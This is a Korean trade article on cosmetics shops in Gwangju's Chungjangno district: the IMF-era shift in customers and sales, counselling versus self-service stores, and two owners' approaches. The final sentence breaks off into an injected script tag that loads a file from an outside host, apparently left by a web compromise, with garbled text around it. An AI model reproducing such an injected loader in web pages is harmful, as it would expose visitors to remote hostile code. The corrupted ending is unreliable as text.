주변환경
▶ IMF로 인한 상권 대변화
광주광역시에서 최고의 주요상권중의 하나인 충장로 일대는 유동인구나 유명 브랜드 대리점등으로 여전히 구매력이 높은 지역으로 자리를 지키고 있는 곳이다.
대형 백화점의 등장으로 광주 전체 상권이 일부 변해가고 있긴 하지만 ‘충장로’라는 거대한 1번지는 여전히 건재하고 있는 듯 했다.
광주지역에서 화장품 전문점은 총 580여개 정도로 파악되고, 충장로에만 지하상가7개를 포함해 30여개 정도여서 광주도 아파트 상가등으로 많이 분산되고 있음이 드러났다.
충장로 일대의 화장품 전문점의 특징은 셀프매장이 주류를 이루고 있어, 앞으로 카운슬링과 셀프 매장간의 치열의 선의의 공방전은 계속될 전망이다.
상권의 규모상 셀프매장이나 더 늘어나기는 현실적으로 어렵고, 카운슬링 매장 또한 상권 특성상 매장 오픈이 쉽지 않을 전망이어서 당분간은 현 상태에서 화장품 유통이 지속될 것으로 보인다.
카운슬링 매장의 경우 철저한 고정고객 관리가 가장 잘 되어 있는 지역으로 판단해도 될 만큼 고객관리가 철저하다. 이러한 점이 백화점이나 새로운 형태의 셀프매장에 맞설수 있는 점이라고 분석된다. 기다리는 매장이 아니라 고객이 다가오는 매장으로 준비하고 있는 곳이바로 광주 충장로다.
충장로의 큰 상권 변화는 역시 IMF에 기인한다는 것이 많은 상가 관계자들의 한결같은 목소리다.
상권특색
▶ 20대 전.후반의 쇼핑과 유흥거리
IMF이후 가든백화점의 부도가 충장로 유동인구는 30~50대 연령층이 많아 실제 구매로 이어졌었지만, 대형백화점의 등장으로 가 이러한 소비층이 빠져나가면서 이 일대는 커다란 타격이 가해지게 된다.
대형 백화점의 등장은 유명브랜드를 흡수하게 되고 이는 곧 보세 옷 가게와 이동통신등 10~20대로 연령층이 낮아지면서 주머니 사정이 넉넉지 않은 고객층으로 바뀌게 된 것이 가장 큰 변화로 풀이된다.
화장품 전문점의 경우 이러한 큰 변화가 전체 매출의 30~50% 정도가 줄어들었다고 밝히고 있다.
하지만 광주의 특징은 역시 가격안정화를 첫 번째로 손꼽을 수 있다. 이는 곧 도매상이 몰락하고 총판 중심의 영업조직이 활성화되는 이유가 되기도 한다. 또한 상위군의 브랜드들이 50%를 마케쉐어를 장악하는 특이한 현상을 나타내기도 한다. 즉 관리 통제력이 가능한 브랜드만이 광주에서 통한다는 점이다.
이러한 현상은 앞으로도 상당히 지속될 것으로 보여 광주는 앞으로도 화장품 시장의 전망이 밝은 지역으로 보인다.
하지만 앞으로 광주 충장로는 전문점간의 경쟁보다는 타 유통 채널과의 싸움이 심각할 양상을 띠고 있다.
우선 전문점시장이 방판시장에 상당한 시장이 잠식당하고 있고, 신유통업들의 대거 등장으로 이들과의 한판 승부로 벌여야 하는 이중고를 떠 앉게 됐다.
또한 광주 지역의 특성상 고가 수입브랜드를 선호하는 특성이 강해 백화점과의 경쟁도 존재하고 있어 앞으로 해결해야 할 난제는 계속 이어질 것으로 보인다.
하지만 충장로는 전문점들에 의해 상권의 흐름의 변화를 주도하고 있고, 지역형 맡는 형태의 경영으로 외적이나 시대적인 문제점들을 상당부분 해결하고 있는 점은 많은 지역에서 관심을 가질만 한다.
우선 지하상권 중심에서 셀프매장의 등장으로 지상상권으로 변화를 시켰고, 카운슬링과 셀프매장이 공존하는 형태로 움직이고 있는 점이다.
전문점들의 오픈으로 상권의 흐름을 뒤바꿀수 있다는 점은 정확한 유동인구에 대한 분석 없이는 불가능하다. 하지만 충장로는 모험을 감행하면서 이를 자신들의 손으로 이끌어 냈다는 점은 높이 평가할만하다.
충장로에서 88년부터 전문점을 경영하고 있는 꽃가마의 정순길 사장은 대표적인 카운슬링 매장의 해답을 보여주고 있다.
정사장은 이러한 공존하고 있는 상권에서 자신의 매장 고정고객 관리에 대한 연구로 잘 알려져 있다. 즉 이 상권에서 꽃가마가 어떠한 방향으로 가야 함을 정확히 읽고 있다고 할만큼 고객관리에 대해 다양한 시도를 한다는 점이다.
대부분의 지역에서 형식에 그치고 있는 고정고객관리는 정사장은 실제 행동으로 옮기고 있느 것이다.
또한 셀프매장을 경영하고 있는 해피타임 강유원 사장은 광주에서만 3개의 매장을 거치면서 경영인으로서 떠오르고 있다.
강사장은 오랫동안의 화장품 전문점 근무를 통해 익힌 노하우와 충장로 상권에 맞는 매장을 운영하고 있다.
셀프매장의 기본이라고 할수 있는 몇가지의 유형을 기본?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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